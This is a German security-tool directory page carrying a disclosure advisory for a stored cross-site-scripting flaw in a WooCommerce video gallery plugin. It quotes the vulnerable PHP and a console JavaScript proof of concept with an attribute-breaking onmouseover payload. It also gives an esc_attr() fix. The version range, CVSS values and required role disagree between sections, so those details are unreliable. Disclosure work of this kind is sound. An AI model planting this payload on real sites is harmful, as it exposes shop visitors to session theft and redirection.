Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-10104-POC — Product Video Gallery für Woocommerce <= 1.5.1.8 - Authentifiziertes gespeichertes Cross-Site-Scripting Proof of Concept | Kitploit
Tools/GitHubGitHub/ravi-lk/cve-2026-10104-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsLernen & Bildung
GitHubravi-lk/cve-2026-10104-poc

CVE-2026-10104-POC

Product Video Gallery für Woocommerce <= 1.5.1.8 - Authentifiziertes gespeichertes Cross-Site-Scripting Proof of Concept

Repository anzeigen
2vor 1 MonatNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-10104: Gespeichertes Cross-Site-Scripting in der Produktvideo-Galerie für WooCommerce

Zusammenfassung

DetailWert
CVE IDCVE-2026-10104
PluginProduct Video Gallery for WooCommerce
AnbieterTechnoSoft Webs (NikHiL Gadhiya)
TypGespeichertes Cross-Site-Scripting (XSS)
CWECWE-79 – Unzureichende Neutralisierung von Eingaben bei der Seitengenerierung
CVSS 3.14.4 (Mittel)
Betroffene Versionen≤ 1.5.1.6
Behobene Version1.5.1.9
Erfordert AuthentifizierungJa – Beitragsautor+ (jede Rolle, die Produkte bearbeiten kann)
Entdeckt vonRavindu Lakmina Munaweera

Beschreibung

Das Product Video Gallery for WooCommerce-Plugin für WordPress (Versionen bis einschließlich 1.5.1.6) ist anfällig für gespeichertes Cross-Site-Scripting (XSS) über den custom_thumbnail-Produktmetaparameter.

Die Methode save_wc_video_url_field() des Plugins bereinigt den POST-Parameter custom_thumbnail[] mit sanitize_text_field(), was HTML-Tags entfernt, aber doppelte Anführungszeichen (") nicht entfernt. Auf der Frontend-Seite wird der gespeicherte Wert in der Methode nickx_get_video_thumbanil_html() direkt in die Attribute eines ``-Tags eingefügt, ohne esc_attr()-Escaping. Dies ermöglicht es einem authentifizierten Angreifer, beliebige HTML-Event-Handler-Attribute (z. B. onmouseover, onerror) zu injizieren, die JavaScript im Browser jedes Besuchers – einschließlich nicht authentifizierter Benutzer – ausführen, der die betroffene Produktseite aufruft.


CVSS 3.1 Vektor

root@kitploit:~
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Betroffener Code

Senke (Ausgabe – Kein Escaping)

Datei: public/class-rendering.php
Methode: nickx_get_video_thumbanil_html()

root@kitploit:~
// Zeile 365 – Wert ohne esc_attr() eingefügt
$custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
    ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
    : '';

// Zeile 379 – innerhalb des -Tags auf der öffentlichen Frontend-Seite ausgegeben
echo '';

Quelle (Speichern – Unzureichende Bereinigung)

Datei: admin/class-video-field.php
Methode: save_wc_video_url_field()

root@kitploit:~
// Zeile 309-310 – sanitize_text_field() entfernt Tags, aber NICHT doppelte Anführungszeichen
if ( isset( $_POST['custom_thumbnail'] ) ) {
    update_post_meta( $post_id, '_custom_thumbnail', 
        array_map( 'sanitize_text_field', $_POST['custom_thumbnail'] ) );
}

Proof of Concept

Voraussetzungen

  • WordPress mit installiertem WooCommerce
  • Plugin: Product Video Gallery for WooCommerce ≤ 1.5.1.6
  • Ein WooCommerce-Produkt, für das eine YouTube-Video-URL konfiguriert ist
  • Ein Konto mit Produktbearbeitungsrechten (Shop-Manager, Autor usw.)

Schritte zur Reproduktion

  1. Melden Sie sich als Shop-Manager (Angreifer) an.

  2. Navigieren Sie zu Produkte → Bearbeiten eines beliebigen Produkts, bei dem im Feld „Product Video Url“ eine Video-URL festgelegt ist.

  3. Öffnen Sie die Entwicklertools des Browsers (F12) → Tab Konsole.

  4. Fügen Sie das folgende JavaScript ein und führen Sie es aus:

root@kitploit:~
const form = document.getElementById('post');

// Thumbnail-ID auf einen nicht leeren Wert setzen (erforderlich für die Render-Bedingung)
const thumbInput = document.querySelector('input[name="product_video_thumb_url[]"]');
if (thumbInput) { thumbInput.value = '99999'; }

// XSS-Payload via custom_thumbnail injizieren
const ct = document.createElement('input');
ct.type = 'hidden';
ct.name = 'custom_thumbnail[]';
ct.value = "yes\" onmouseover=\"alert('xss identified by Ravindu')";
form.appendChild(ct);
  1. Klicken Sie auf „Aktualisieren“, um das Produkt zu speichern.

  2. Öffnen Sie die Produktseite im Frontend in einem Inkognito-/privaten Fenster (nicht authentifiziert).

  3. Bewegen Sie die Maus über das Video-Thumbnail in der Produktgalerie.

  4. ✅ Der JavaScript-Alert wird ausgeführt, was das Stored XSS bestätigt.

Bild Bild

Gerenderte Ausgabe

root@kitploit:~

Das injizierte " schließt das custom_thumbnail-Attribut, und onmouseover wird zu einem neuen ausführbaren Attribut auf dem ``-Element.


Auswirkungen

  • Stored XSS wird auf der öffentlichen Frontend-Seite für alle Besucher ausgeführt, einschließlich nicht authentifizierter Benutzer
  • Angreifer können Sitzungscookies stehlen und Admin-Konten kapern
  • Angreifer können Kunden auf Phishing- oder Malware-Verteilungsseiten umleiten
  • Angreifer können Produktseiten verunstalten oder Cryptominer injizieren
  • Für die Ausnutzung ist nur Zugriff auf Beitragsautoren-Ebene erforderlich

Abhilfe

Wenden Sie esc_attr() auf den benutzerdefinierten Thumbnail-Wert an, bevor Sie ihn in das HTML-Attribut einfügen:

root@kitploit:~
- $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
-     ? 'custom_thumbnail="' . $custom_thumbnails[$key] . '"' 
-     : '';
+ $custom_thumbnail = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) 
+     ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"' 
+     : '';

Diese Korrektur sollte auf alle Stellen in nickx_get_video_thumbanil_html() angewendet werden, an denen $custom_thumbnail konstruiert wird (sowohl der Array- als auch der Nicht-Array-Codepfad).


Offenlegungszeitplan

DatumEreignis
2026-03-20Schwachstelle entdeckt
2026-03-20An Wordfence (CNA) gemeldet
2026-05-29CVE-ID zugewiesen: CVE-2026-10104
2026-07-01Öffentliche Offenlegung

Danksagungen

  • Entdeckt von: Ravindu Lakmina Munaweera
  • CVE zugewiesen von: Wordfence (CNA)
  • CVE ORG

Referenzen

  • CVE-2026-10104
  • WordPress Plugin-Seite
  • Wordfence-Schwachstellendatenbank-Eintrag
  • CWE-79: Cross-site Scripting
  • OWASP XSS Prevention Cheat Sheet

Lizenz

Dieses Advisory wird unter CC BY 4.0 veröffentlicht.

Tool herunterladen
MetrikWert
AngriffsvektorNetzwerk
AngriffskomplexitätNiedrig
Erforderliche PrivilegienNiedrig
BenutzerinteraktionKeine
UmfangGeändert
VertraulichkeitsauswirkungNiedrig
IntegritätsauswirkungNiedrig
VerfügbarkeitsauswirkungKeine